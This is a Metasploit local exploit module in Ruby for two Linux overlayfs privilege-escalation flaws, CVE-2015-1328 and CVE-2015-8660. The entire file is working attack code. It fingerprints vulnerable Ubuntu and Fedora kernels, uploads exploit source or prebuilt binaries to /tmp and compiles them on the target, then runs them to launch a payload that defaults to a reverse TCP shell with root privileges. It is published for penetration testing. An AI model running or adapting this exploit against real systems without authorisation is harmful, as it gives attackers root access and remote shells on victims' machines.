##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Overlayfs Privilege Escalation',
        'Description' => %q{
          This module attempts to exploit two different CVEs related to overlayfs.
          CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
          3.16.0-25 (14.10 default) < 3.16.0-41
          3.19.0-18 (15.04 default) < 3.19.0-21
          CVE-2015-8660:
          Ubuntu:
          3.19.0-18 < 3.19.0-43
          4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
          Fedora:
          < 4.2.8 (vulnerable, un-tested)
          Red Hat:
          < 3.10.0-327 (rhel 6, vulnerable, un-tested)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <mike@shorebreaksecurity.com>', # Module
          'rebel' # Discovery
        ],
        'DisclosureDate' => '2015-06-16',
        'Platform' => [ 'linux'],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [ 'CVE-2015-1328', {} ],
          [ 'CVE-2015-8660', {} ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
        },
        'References' => [
          [ 'EDB', '39166'], # CVE-2015-8660
          [ 'EDB', '37292'], # CVE-2015-1328
          [ 'CVE', '2015-1328'],
          [ 'CVE', '2015-8660']
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
    ]
  end

  def check
    def mounts_exist?()
      vprint_status('Checking if mount points exist')
      if target.name == 'CVE-2015-1328'
        if not directory?('/tmp/ns_sploit')
          vprint_good('/tmp/ns_sploit not created')
          return true
        else
          print_error('/tmp/ns_sploit directory exists.  Please delete.')
          return false
        end
      elsif target.name == 'CVE-2015-8660'
        if not directory?('/tmp/haxhax')
          vprint_good('/tmp/haxhax not created')
          return true
        else
          print_error('/tmp/haxhax directory exists.  Please delete.')
          return false
        end
      end
    end

    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      case os_id
      when 'ID=ubuntu'
        kernel = Rex::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.13.0'
          if kernel.between?(Rex::Version.new('3.13.0-24-generic'), Rex::Version.new('3.13.0-54-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.16.0'
          if kernel.between?(Rex::Version.new('3.16.0-25-generic'), Rex::Version.new('3.16.0-40-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.19.0'
          if kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-20-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          elsif kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-42-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '4.2.0'
          if kernel.between?(Rex::Version.new('4.2.0-18-generic'), Rex::Version.new('4.2.0-22-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      when 'ID=fedora'
        kernel = Rex::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
        # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
        # => "4.0.4-301"
        if kernel.release < Rex::Version.new('4.2.8')
          vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.  Exploitation UNTESTED")
          return true
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if mounts_exist?() && kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname, fcontent, cleanup = true)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      if cleanup
        register_file_for_cleanup(fname)
      end
    end

    def on_new_session(session)
      super
      if target.name == 'CVE-2015-1328'
        session.shell_command("/bin/su") # this doesnt work on meterpreter?????
        # we cleanup here instead of earlier since we needed the /bin/su in our new session
        session.shell_command('rm -f /etc/ld.so.preload')
        session.shell_command('rm -f /tmp/ofs-lib.so')
      end
    end

    if compile
      begin
        if target.name == 'CVE-2015-1328'
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
          path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
          fd = ::File.open(path, "rb")
          cve_2015_1328 = fd.read(fd.stat.size)
          fd.close

          # pulled out from 1328.c's LIB define
          path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
          fd = ::File.open(path, "rb")
          ofs_lib = fd.read(fd.stat.size)
          fd.close
        else
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
          fd = ::File.open(path, "rb")
          cve_2015_8660 = fd.read(fd.stat.size)
          fd.close
        end
      rescue
        compile = false # hdm said external folder is optional and all module should run even if external is deleted.  If we fail to load, default to binaries
      end
    end

    if compile
      if target.name == 'CVE-2015-1328'
        cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
                            "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
        upload_and_chmod("#{executable_path}.c", cve_2015_1328)
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        upload_and_chmod("#{ofs_path}.c", ofs_lib)
        cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
        register_file_for_cleanup("#{ofs_path}.c")
      else
        cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
                            "os.execl('#{payload_path}','#{payloadname}')")
        upload_and_chmod("#{executable_path}.c", cve_2015_8660)
      end
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
      register_file_for_cleanup(executable_path)
    else
      if target.name == 'CVE-2015-1328'
        path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
        fd = ::File.open(path, "rb")
        cve_2015_1328 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_1328)

        path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
        fd = ::File.open(path, "rb")
        ofs_lib = fd.read(fd.stat.size)
        fd.close
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        # dont auto cleanup or else it happens too quickly and we never escalate ourprivs
        upload_and_chmod("#{ofs_path}.so", ofs_lib, false)

        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = 'lXqzVpYN'
        payload_path = '/tmp/lXqzVpYN'
      else
        path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
        fd = ::File.open(path, "rb")
        cve_2015_8660 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_8660)
        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = '1H0qLaq2'
        payload_path = '/tmp/1H0qLaq2'
      end
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    vprint_status('Exploiting...')
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end
